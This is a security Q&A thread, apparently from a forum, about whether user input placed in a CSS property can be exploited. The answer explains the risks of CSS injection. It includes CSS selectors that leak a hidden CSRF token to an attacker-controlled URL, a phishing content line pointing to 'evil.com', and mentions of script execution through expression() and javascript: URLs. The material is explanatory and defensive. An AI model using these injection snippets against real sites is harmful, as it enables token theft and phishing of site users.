If there is a page that allows user input into the following...

    background: #userinput;

can it be exploited if <>'" are all filtered? I've seen width: expression(alert(0));, but I couldn't get that to run javascript in IE or Firefox (with filters disabled).


1 Answer 1


It's definitely not a good idea to put raw user input directly into styles.

Is CSS injection as bad as XSS? No, but there are still problems with it.

Some of these examples below don't apply to you as quotes are required, but I'll include them anyways for readers interested in CSS injection in general, and to show that CSS is more powerful than generally expected, so it's a good idea to properly filter/sanitize/encode user input before placing it in a CSS context.

Changing the Look of a website

This one is rather obvious, but it's something to keep in mind. Do you really want to give an attacker the option to control how your website looks? This of course depends on the kind of website you have, but for some websites - eg banking websites or websites for children - even a reflected CSS attack via which an attacker includes images in the target site may lead to damage to the reputation of the site.

Reading data from a website

An attacker may be able to read out passwords and CSRF tokens and send them to an attacker controlled server. Here is simple example:

input[value^="a"] + input { background-image: url(http://www.example.com/a); }
input[value^="s"] + input { background-image: url(http://www.example.com/s); }
input[value^="z"] + input { background-image: url(http://www.example.com/z); }

<input value="secret" type="hidden" name="csrftoken" />
<input type="Submit" />

This can also be done more efficient (see here or here). There are probably other approaches as well, and I wouldn't be too surprised if some of them worked without quotes.

Changing the content of a website

An attacker can also change the existing content of the website, either for defacement reasons, or as a (somewhat unlikely, but still possible) phishing attack:

p::before {
    content: "Important security update: http://evil.com/update";

Somewhere a user does not expect user input

Executing Scripts

There are different ways to execute JavaScript via CSS (expression, url("javascript:, different features and bugs in various browser (eg -moz-binding, htc), etc). I don't think any of the current versions of the popular browsers allow it, but you really can't rely on your users using those.


You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .